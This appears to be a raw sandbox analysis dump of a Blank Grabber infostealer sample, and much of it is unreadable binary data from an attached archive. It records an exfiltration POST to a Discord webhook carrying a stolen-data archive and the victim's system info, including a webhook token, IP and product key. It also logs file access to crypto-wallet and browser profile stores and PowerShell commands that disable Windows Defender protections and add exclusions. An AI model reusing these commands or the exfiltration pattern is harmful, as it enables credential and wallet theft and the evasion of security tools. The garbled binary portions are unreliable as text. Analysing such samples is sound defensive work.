þ÷}gXHvÀì2Ù»ÜÜÄ:ª©á@*béd4x´êQðÿ3WúO<~CJ»V~)®H4f2uÆâ1~:Ö3tÜ_íªwaîè:·÷Rår°tÆ¦ÀõüXÆNøÖÜ9nÕ'âUdÞOÑâ¯Q>CRmÒ¶Â>>Üì@ì´3VKT&A®ÚÍq´]µeN8Y¿}×üyÔ`Sõ0+mÙA]¡kR÷¬®Y§Å\Ù¶ú\ÝÆ©:baÄükq{^äÅñU'Çïcåu&e^'óGÝ,²já1ÖÂRþÿ§cK`NÖ_IóÎ³6tQ¡#öBÞ-ÿUááµ¬Dýï?à;¨kïê~w92ù÷.qÑÐñúüÒ9QFMÈÄxXü6$ðDHdyCpÁ,_ª®xm`s?¥¸hôq8òÌ.³Gð:¿^õV2¾ý´ÍÎYL777¨®"NÂKHÓKèWâç` N;Ê'n#XcÀ¢ËQ«7ÛòÅ²:§âEV¸H«cÎÛdÏ¯LßÓ´"tÊE¾7RöÎfÍ'Òº À¨¹¾È6aKÚ³AÌðÙÀL*ì9]tV]+OcÇþ-ºÅàOÐZ@¦ò8í*`ÿ¹vìÑ%ò¡°ß!µ¦î1-ÙF 3=ÇZ\RÅðÍßj°À-óº%®¢7ÊàYÞF®K(¸6<ûúãA·^!Ít64¬_ñi&Äë¤`B)>%.}vg$R:?=ýíYòbÊ8ü§Û°lmÿ»úsdèáyåIÙ2²±Ôâ@×F¼ÁqøC@ö¬>ÜªÇÛ·ûüçÖþüÏ§Ö;ÁÕëú-Zÿ0µçöL_^\D<¬²ûûæfQq¹|ÞÑpuó±È£¼îø^ÔR´³@3¤µÙ!³³²Øêk6~"°}¢;óp¶æÜ1ZkE!öíè»C¼íµ-kòFUBz¶-µú»üjzS>£çr«aù^ê$Á>®Úì¢í£×mßÎ¥dØÏÂJ%(ÓâµÉ1CÃ¢VËN¾ä4²ÖÈi¼©ÄtEäxùÕBÔW30ÚnUõBÉjH2;»j½Ü;ÿQêvm·%¾¶äÝÂÃIO¤MÛ/!À¶÷TÓÂÁòUDñÓ¾ëG÷4Îú=«üTEVnýõj?¥w«´ÉÛ|¯>sz$ÿb·âØ{¡´ÓgÓj[ÖCë¡î9ÐÍm'9Ú~ZdoäõU0Ý_à÷±[¿ÒfYÍdLöIºÖ;7%§ÙJgkêþ*ðÉÑZ@hH¿ÅÊ¡°-Xu¯'IGsñ«ë?7£Û]¸T&QÅîÔeC"Ù_»yÓÈàÊlö?Uû(nÛ?6yQh£ýruPü¨$ØEâj1£n?g=ÿeÁyÎG7ßv'Ä-µþaÞ-wúÚ´1¶Çl¼&¸ufûix\eÄW%IAyÇ¼µKÑÉÿÖÈ*õÔ÷îÿ47ßóôâ9d¥Ù²4?»½`B6å²)gQ¬KTÂª×ñêU¹Ì!?ÃËêBn¨VHñ'u:,¡Õ'h:9ÈÒO°ôÒæÙcnÝ³NýñÂ×ÿLgWH_Lã!ÀÁa|¸*G: ¬èäy§Òk§ÐNRø¿W _±hd Iauî`Y$ÖË-ëÞ·ôÜîW/¡rWVå´Uç»a/HkKupD¥*ä%_O^F/ü:æËKCÜÉ¢ü ö"E|úªNêíÙV{¡`æ²k\Ió¨ú¾Ã^¦D¤£`Å¥?4õ*ZDîÞþCÏªÇÈìÅZ·FÅ ª+ïÂ¥ÕK¼q¯ÏÑú"ÄìyZknªXþQO[VT+[uìÌðQî¶¿l&×,©[þ»ÞUò³a´BB5°ÎúÒÝR&ôy^Ç*÷ßÔ¡?aèúwí2Ñ¦=HøÄÁÁÇj^+Ð7ÞWÂqr3¢!ç>Nk]÷inÀ-zXeèo³bSyÉÏ!çDÝÖS\8µýgÅ¾¾´kwÆ¨KR¤ã))F¢ÞäwÍÞ²àîíÐX£Ò>Eäe&tèÿºûÏéèJÍ} Í°yP ñ/´ÛÁ0¨Èø{hp8Ëº$÷uÃømt MépÎd(´ü÷È%*~¹+Ýä_¿ñ\3û5/qZÔ/|olµa{>!,¸ÏòÆEWsúAVòPnî«cÁBAnèJuÓc`«ñ?GyQÒä¯§ÀÍ¢È¶Cp|¨;àcWÿåfß#ßê`XÔW)í¼RJ°YÎËÛÚµß$á¨ùÍÏhvZ0>VK÷N[þ`%õßã¬°½nhÝIVûês>îqî¥ÇqèRVÍÓ@C3kÎY.[üCCñ&De(7SäÐÕo¬s9feþÓb"âGìhf;îVHzü#B%îCÖd&ôëGMÜÎÞËã?+;L+2$ÇHª øA¯Êp(îJpï{ÚDÔ©jvE¿²«¾õá;çÑ¸µXüP¿nQ"µï áìIOiO0Ãñ"Ò¦&gôÓëÓA/)ìÊñ+hàz/¾FjøNÅÑ*ÈñÅ7ö \~8úk¥d§Ñw¦±Aiã1û4\ÓòÔ*s+j¦f`¿¸¯Ã¾ißðÛ7Í[Qâpð1.üP³Ó§^ Æü¡1ÖÒ-ÅÄðí$«pÐ×¸ß[{#ÉZ·ãêò4@hi¼ÈãÖÀL°äämgª ²VÏ)7`äI¢K@ÀxaH*¿,Ñ4ài²G#ë¸÷ålî2õÓîð¬Ò__L=íýöÍ 7£ó/Jì(gêpÐòçËâ(Û¸C&$Ä¨s´ðÏ¿¬\Qüi®çp>þîZyiYÐæÌl>Ë^fõaaT@Õçi³ÀíÆA_;!û¹²û^ÙdÀÍùôÍåÛv¿fJí$ý¼Á!:0°¢ªA¤¢yÙL¢òÌ`}ü¨;Ù²Yv¥êèRÜæxÊÔdMë¤ü3Z°oFÂ5/ 2þp8¹[,å¯e!µsDKS\ÝÔÍÈ9cúÝ¿²©7¯8rQ>8k-ý-£E¹¨âÙ/SÉý]v'zãÉ´læ^B;×@Z×$¢Z(èù .Òâ¼Õÿ0ÿÅ jdëºµ?¸9àuvoò0"¸A=Skë0ª~!ÒopJø·jÍ#Ï·vAÛéè/í(zÏßz--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="payload_json"{"content": "||@everyone||", "embeds": [{"title": "Blank Grabber", "description": "**__System Info__\n```autohotkey\nComputer Name: DESKTOP-FVVF82A\nComputer OS: Microsoft Windows 10 Pro\nTotal Memory: 8 GB\nUUID: 58DE1142-81AF-35BD-38F7-41CA914531E6\nCPU: Intel64 Family 6 Model 79 Stepping 0 GenuineIntel\nGPU: VMware SVGA 3D\nProduct Key: DHWP9-NWWKH-G72RJ-CQ49T-P7JXM```\n__IP Info__```prolog\n\nIP: 64.124.12.162\nRegion: California\nCountry: United States\nTimezone: America/Los_Angeles\n\nCellular Network: \u274e\nProxy/VPN: \u274e\nReverse DNS: 64.124.12.162.IDIA-144793-004-ZYO.zip.zayo.com```\n__Grabbed Info__```js\nDiscord Accounts : 0\nPasswords : 0\nCookies : 0\nHistory : 8\nRoblox Cookies : 0\nTelegram Sessions : 0\nWallets : 0\nWifi Passwords : 0\nMinecraft Sessions : 0\nEpic Sessions : 0\nSteam Sessions : 0\nScreenshot : False\nSystem Info : True\nWebcam : 0```**", "url": "https://github.com/Blank-c/Blank-Grabber", "color": 34303, "footer": {"text": "Grabbed by Blank Grabber | https://github.com/Blank-c/Blank-Grabber"}, "thumbnail": {"url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}}], "username": "Blank Grabber", "avatar_url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}--99bc9948df5de1d58dd49f4619d3df09--"7a:T2441,"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 8159 User-Agent: python-urllib3/2.0.3 Content-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09" with payload:==> "--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="file"; filename="Blank-HAPUBWS.rar"Content-Type: application/octet-streamRar!Å¾æÌ!¡ë[sÍØØIÓÑSgR±|ÞBá¹\$C¯¤_3K¯r-ÉùLÈÁ}hP4ïÓnã£ââÌÿÈ£yüªG°là¾bÄ%Þfe}Éõ³¯·àé³RS?×ºÎ¯×t;jgï5F¥÷UÚ0v<õºå1rN¯èu4Å³Ù?úv#3f¿|z½|Å7yóóÎ]ym.OdMãäÈ âÛ6PvHpÿ.ÌÞÐ(kUÔ~òJæ1£We×,òÖæ¬zDq8j¡xx9Â¬T ¶s%@öiL[Y¶Hó¢ÇGµ«y¬Fñc|^¢¡AØ86¹Ë/îû¼%ÿ§¯íCå9úá_6ãDPHÛ*}%*¦]j¯Ð¦o[ú&ð±2õZê%"1f0·9kv*{¥´sñC°öÛjsÑ@37ÜBãëa¶ÈðöI9ûëÜ_y¥ä>esã+@Ü«Â@®ÌUxz´FþÛu6=6ZÐ+ÎfX?µ{½!%Eü¬Ä?ºÌñ3í*óJ+}ÞïQìIÐW?ÐÈfTÅ#ìUÂÅ]8Ê^Q&å®¡ýÄ}S¬7Òö»»KGàcÈI=ðfqWÐãRçx®ÍðÑ^SÎ·{ØõßD&Rê;ÛXîñ½ãÊN×BßiBÄ[ëÍáÒÛqà±>ò;!ÿ=ÎQã1~_É\r¥È!÷£í(öRR9´uËú¾!õzÊY0P `dlø·ç-Û$|#ÀÃS.TîÆ]çDÎÍWï·N&kùGSÆjýl@Õ2\ýÆ)eá?(4½c^Éµ5S²Gë9³?ÔÛråb¢{Ï)dâ\9d×ë1²k]n¹§ãt.iDgæmLûfY£gË ;ºÀ¼eÈ¾0ÌÆC®gØyDYò©IÎÅÃØ@h1%ÛÿAãWÏë§ê¢L~éå©°÷FY;£Eú%¢eñçôa.N¸ $zúÅçväYÛ<¢.éÉk%o*çgLð i6JàÄÑH/Ì'³å\]:ýú "Â¢¼$$®ùÙô_æÈÉéî?²ÄdCÕ}¸rÁ{'9°0ÝNø×D.à7÷x)5;'c}w¼ )FêåµSÑäÎXêeVaz§ ÿfÇR0G¾J$Âõòwl2¾Vï×<Ü`Þd~f½PÆ=¬ÿòe³s¥S®¥°ÿ pòCÛe M8Àycùþþï0ðA4;pnN±PÞÇðæµPöh32]Ú$ëC'6æsGlÉO¤/Ô:h¤£°Jx\üú²'Îðx¾5!h7¿Ã\Ô*[Ü§ýºdã×kK_u;m)Ç{'mË¼gqTg8|¹CÄÞù7juò6fâúò8cÈ§(!èÁ÷ËÚo^ÿ¯%Ê6|PÿíÕ»2¬ÀO^xC%|+\dëhoLLÍê×é[îÔ»ÀCå1{(£,U÷§Øt2(û³]Ó¡½êÕ,U{k/ûÀ¸mÑ2GrIÌâ\!9Ùì¼»¨ÓeYJjrªrþEg¯HóðZ}I©@eã²¸Zepµ¸~Ø7ïw76ßÕfnD]|ÔE\('²è.º=dB/Z?L^¿Sÿ06ùÅe¬Rj8J´ôÀïú É»"f³D¢n_ÉXÝè¾ðJÉù,ÛV½Ú¶¿5¼ôiXhð¼Ý³;Ñ]4öuÂ¦û/H@pü?h|$]¤!qCO$ôþyiÅ´á;þÃÿ<üDH±pìNÜ¶óÊ©Í¶®I´?1ß¡yÝ^{NÐ×þt¬~ÍËÉ»B_¾efØ/`OQdØãok©ÏPÁEøqeÃo@6`üO;vð§Ó©r9i4`$´©6 !g.ÙTÚÁû¤kºöö%b¨Ønð»õQMjÓ»iæ¿äÒt»xÙpj7;+ðÃÞßN7{ðg#åKôhO*WßßºæfçIsF«ÓQ°Äk7¾~%Dw¯I´YÝpþªïÑÆQæû|¨QhÊùdÛömó½lÑÑïMû&#}ÏÇ¾®Ó1½²ÈÛY¶§PÆ3¿âð5Ø¾Û ¡KM}>éÙ?YöâÆÿå{î*mÿ¾ãÖ>X ÙÙ¹ÿáÂ¯ÍÂµÆÃÜÉô2ÆèÄ»Aµõn;æÀõúJßMiqzòf^SÄ°?çFrÝ ¸æßUGßÒ$q_ÿÏEK¤÷;{ß±iK£p#{»Ò?,¦qû?¶¢G/ì©ø5n3·5KÖ*¶mä äóÕ´X,¹z?M±eÔ=,Ý\SÍûÐ²<¾¾ËTKwtËO.Æy¹?Wþ>0b=ÜgÍ$aÿ×)À¸DÆ$ÅÊZ+M1Ö°1hëï]È:¨2¯±êÍµ8÷Hó/¦H>§l¢N6½¯×cm;ä#VÖ«>:IR¤ëäî[Xª=¶þTÂïü´å þ÷}gXHvÀì2Ù»ÜÜÄ:ª©á@*béd4x´êQðÿ3WúO<~CJ»V~)®H4f2uÆâ1~:Ö3tÜ_íªwaîè:·÷Rår°tÆ¦ÀõüXÆNøÖÜ9nÕ'âUdÞOÑâ¯Q>CRmÒ¶Â>>Üì@ì´3VKT&A®ÚÍq´]µeN8Y¿}×üyÔ`Sõ0+mÙA]¡kR÷¬®Y§Å\Ù¶ú\ÝÆ©:baÄükq{^äÅñU'Çïcåu&e^'óGÝ,²já1ÖÂRþÿ§cK`NÖ_IóÎ³6tQ¡#öBÞ-ÿUááµ¬Dýï?à;¨kïê~w92ù÷.qÑÐñúüÒ9QFMÈÄxXü6$ðDHdyCpÁ,_ª®xm`s?¥¸hôq8òÌ.³Gð:¿^õV2¾ý´ÍÎYL777¨®"NÂKHÓKèWâç` N;Ê'n#XcÀ¢ËQ«7ÛòÅ²:§âEV¸H«cÎÛdÏ¯LßÓ´"tÊE¾7RöÎfÍ'Òº À¨¹¾È6aKÚ³AÌðÙÀL*ì9]tV]+OcÇþ-ºÅàOÐZ@¦ò8í*`ÿ¹vìÑ%ò¡°ß!µ¦î1-ÙF 3=ÇZ\RÅðÍßj°À-óº%®¢7ÊàYÞF®K(¸6<ûúãA·^!Ít64¬_ñi&Äë¤`B)>%.}vg$R:?=ýíYòbÊ8ü§Û°lmÿ»úsdèáyåIÙ2²±Ôâ@×F¼ÁqøC@ö¬>ÜªÇÛ·ûüçÖþüÏ§Ö;ÁÕëú-Zÿ0µçöL_^\D<¬²ûûæfQq¹|ÞÑpuó±È£¼îø^ÔR´³@3¤µÙ!³³²Øêk6~"°}¢;óp¶æÜ1ZkE!öíè»C¼íµ-kòFUBz¶-µú»üjzS>£çr«aù^ê$Á>®Úì¢í£×mßÎ¥dØÏÂJ%(ÓâµÉ1CÃ¢VËN¾ä4²ÖÈi¼©ÄtEäxùÕBÔW30ÚnUõBÉjH2;»j½Ü;ÿQêvm·%¾¶äÝÂÃIO¤MÛ/!À¶÷TÓÂÁòUDñÓ¾ëG÷4Îú=«üTEVnýõj?¥w«´ÉÛ|¯>sz$ÿb·âØ{¡´ÓgÓj[ÖCë¡î9ÐÍm'9Ú~ZdoäõU0Ý_à÷±[¿ÒfYÍdLöIºÖ;7%§ÙJgkêþ*ðÉÑZ@hH¿ÅÊ¡°-Xu¯'IGsñ«ë?7£Û]¸T&QÅîÔeC"Ù_»yÓÈàÊlö?Uû(nÛ?6yQh£ýruPü¨$ØEâj1£n?g=ÿeÁyÎG7ßv'Ä-µþaÞ-wúÚ´1¶Çl¼&¸ufûix\eÄW%IAyÇ¼µKÑÉÿÖÈ*õÔ÷îÿ47ßóôâ9d¥Ù²4?»½`B6å²)gQ¬KTÂª×ñêU¹Ì!?ÃËêBn¨VHñ'u:,¡Õ'h:9ÈÒO°ôÒæÙcnÝ³NýñÂ×ÿLgWH_Lã!ÀÁa|¸*G: ¬èäy§Òk§ÐNRø¿W _±hd Iauî`Y$ÖË-ëÞ·ôÜîW/¡rWVå´Uç»a/HkKupD¥*ä%_O^F/ü:æËKCÜÉ¢ü ö"E|úªNêíÙV{¡`æ²k\Ió¨ú¾Ã^¦D¤£`Å¥?4õ*ZDîÞþCÏªÇÈìÅZ·FÅ ª+ïÂ¥ÕK¼q¯ÏÑú"ÄìyZknªXþQO[VT+[uìÌðQî¶¿l&×,©[þ»ÞUò³a´BB5°ÎúÒÝR&ôy^Ç*÷ßÔ¡?aèúwí2Ñ¦=HøÄÁÁÇj^+Ð7ÞWÂqr3¢!ç>Nk]÷inÀ-zXeèo³bSyÉÏ!çDÝÖS\8µýgÅ¾¾´kwÆ¨KR¤ã))F¢ÞäwÍÞ²àîíÐX£Ò>Eäe&tèÿºûÏéèJÍ} Í°yP ñ/´ÛÁ0¨Èø{hp8Ëº$÷uÃømt MépÎd(´ü÷È%*~¹+Ýä_¿ñ\3û5/qZÔ/|olµa{>!,¸ÏòÆEWsúAVòPnî«cÁBAnèJuÓc`«ñ?GyQÒä¯§ÀÍ¢È¶Cp|¨;àcWÿåfß#ßê`XÔW)í¼RJ°YÎËÛÚµß$á¨ùÍÏhvZ0>VK÷N[þ`%õßã¬°½nhÝIVûês>îqî¥ÇqèRVÍÓ@C3kÎY.[üCCñ&De(7SäÐÕo¬s9feþÓb"âGìhf;îVHzü#B%îCÖd&ôëGMÜÎÞËã?+;L+2$ÇHª øA¯Êp(îJpï{ÚDÔ©jvE¿²«¾õá;çÑ¸µXüP¿nQ"µï áìIOiO0Ãñ"Ò¦&gôÓëÓA/)ìÊñ+hàz/¾FjøNÅÑ*ÈñÅ7ö \~8úk¥d§Ñw¦±Aiã1û4\ÓòÔ*s+j¦f`¿¸¯Ã¾ißðÛ7Í[Qâpð1.üP³Ó§^ Æü¡1ÖÒ-ÅÄðí$«pÐ×¸ß[{#ÉZ·ãêò4@hi¼ÈãÖÀL°äämgª ²VÏ)7`äI¢K@ÀxaH*¿,Ñ4ài²G#ë¸÷ålî2õÓîð¬Ò__L=íýöÍ 7£ó/Jì(gêpÐòçËâ(Û¸C&$Ä¨s´ðÏ¿¬\Qüi®çp>þîZyiYÐæÌl>Ë^fõaaT@Õçi³ÀíÆA_;!û¹²û^ÙdÀÍùôÍåÛv¿fJí$ý¼Á!:0°¢ªA¤¢yÙL¢òÌ`}ü¨;Ù²Yv¥êèRÜæxÊÔdMë¤ü3Z°oFÂ5/ 2þp8¹[,å¯e!µsDKS\ÝÔÍÈ9cúÝ¿²©7¯8rQ>8k-ý-£E¹¨âÙ/SÉý]v'zãÉ´læ^B;×@Z×$¢Z(èù .Òâ¼Õÿ0ÿÅ jdëºµ?¸9àuvoò0"¸A=Skë0ª~!ÒopJø·jÍ#Ï·vAÛéè/í(zÏßz--99bc9948df5de1d58dd49f4619d3df09Content-Disposition: form-data; name="payload_json"{"content": "||@everyone||", "embeds": [{"title": "Blank Grabber", "description": "**__System Info__\n```autohotkey\nComputer Name: DESKTOP-FVVF82A\nComputer OS: Microsoft Windows 10 Pro\nTotal Memory: 8 GB\nUUID: 58DE1142-81AF-35BD-38F7-41CA914531E6\nCPU: Intel64 Family 6 Model 79 Stepping 0 GenuineIntel\nGPU: VMware SVGA 3D\nProduct Key: DHWP9-NWWKH-G72RJ-CQ49T-P7JXM```\n__IP Info__```prolog\n\nIP: 64.124.12.162\nRegion: California\nCountry: United States\nTimezone: America/Los_Angeles\n\nCellular Network: \u274e\nProxy/VPN: \u274e\nReverse DNS: 64.124.12.162.IDIA-144793-004-ZYO.zip.zayo.com```\n__Grabbed Info__```js\nDiscord Accounts : 0\nPasswords : 0\nCookies : 0\nHistory : 8\nRoblox Cookies : 0\nTelegram Sessions : 0\nWallets : 0\nWifi Passwords : 0\nMinecraft Sessions : 0\nEpic Sessions : 0\nSteam Sessions : 0\nScreenshot : False\nSystem Info : True\nWebcam : 0```**", "url": "https://github.com/Blank-c/Blank-Grabber", "color": 34303, "footer": {"text": "Grabbed by Blank Grabber | https://github.com/Blank-c/Blank-Grabber"}, "thumbnail": {"url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}}], "username": "Blank Grabber", "avatar_url": "https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png"}--99bc9948df5de1d58dd49f4619d3df09--"7b:T4c5,"builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\COM.LIBERTY.JAXX\INDEXEDDB\FILE_0.INDEXEDDB.LEVELDB" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\EXODUS\EXODUS.WALLET" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ETHEREUM\KEYSTORE" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ELECTRUM\WALLETS" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\ATOMIC\LOCAL STORAGE\LEVELDB" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\GUARDA\LOCAL STORAGE\LEVELDB" "builder.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local\COINOMI\COINOMI\WALLETS" "builder.exe" trying to touch file "%APPDATA%\COM.LIBERTY.JAXX\INDEXEDDB\FILE_0.INDEXEDDB.LEVELDB" "builder.exe" trying to touch file "%APPDATA%\EXODUS\EXODUS.WALLET" "builder.exe" trying to touch file "%APPDATA%\ETHEREUM\KEYSTORE" "builder.exe" trying to touch file "%APPDATA%\ELECTRUM\WALLETS" "builder.exe" trying to touch file "%APPDATA%\ATOMIC\LOCAL STORAGE\LEVELDB" "builder.exe" trying to touch file "%APPDATA%\GUARDA\LOCAL STORAGE\LEVELDB" "builder.exe" trying to touch file "%LOCALAPPDATA%\COINOMI\COINOMI\WALLETS"7c:T1331,"builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\AMIGO\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\TORCH\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\KOMETA\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SPUTNIK\SPUTNIK\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME SXS\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\SLIMJET\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UR BROWSER\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\content-prefs.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\UCOZMEDIA\URAN\USER DATA" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\favicons.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\permissions.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\webappsstore.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\https+++my.visualstudio.com\idb\301792106ttes.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\default\moz-safe-about+home\idb\3312185054sbndi_pspte.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log" "builder.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log"7d:T1a97,Spawned process "builder.exe" (UID: 00000000-00005028) Spawned process "builder.exe" (UID: 00000000-00007276) Spawned process "cmd.exe" with commandline "/c "net session"" (UID: 00000000-00000744) Spawned process "net.exe" with commandline "net session" (UID: 00000000-00004996) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00001732) Spawned process "cmd.exe" with commandline "/c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"" (UID: 00000000-00006876) Spawned process "cmd.exe" with commandline "/c "powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'"" (UID: 00000000-00006844) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004496) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00005472) Spawned process "cmd.exe" with commandline "/c "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName"" (UID: 00000000-00006228) Spawned process "cmd.exe" with commandline "/c "powershell Get-Clipboard"" (UID: 00000000-00006260) Spawned process "cmd.exe" with commandline "/c "tasklist /FO LIST"" (UID: 00000000-00004652) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00001860) Spawned process "cmd.exe" with commandline "/c "netsh wlan show profile"" (UID: 00000000-00004344) Spawned process "cmd.exe" with commandline "/c "systeminfo"" (UID: 00000000-00000184) Spawned process "cmd.exe" with commandline "/c "Camera.exe /devlist"" (UID: 00000000-00004380) Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00004020) Spawned process "WMIC.exe" with commandline "WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName" (UID: 00000000-00006748) Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00003884) Spawned process "tasklist.exe" with commandline "tasklist /FO LIST" (UID: 00000000-00007892) Spawned process "powershell.exe" with commandline "powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'" (UID: 00000000-00001004) Spawned process "powershell.exe" with commandline "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend" (UID: 00000000-00002000) Spawned process "netsh.exe" with commandline "netsh wlan show profile" (UID: 00000000-00004936) Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00001880) Spawned process "powershell.exe" with commandline "powershell Get-Clipboard" (UID: 00000000-00007588) Spawned process "systeminfo.exe" (UID: 00000000-00002500) Spawned process "Camera.exe" with commandline "/devlist" (UID: 00000000-00006940) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00001340) Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00007900) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00003768) Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00007332) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00004356) Spawned process "tree.com" with commandline "tree /A /F" (UID: 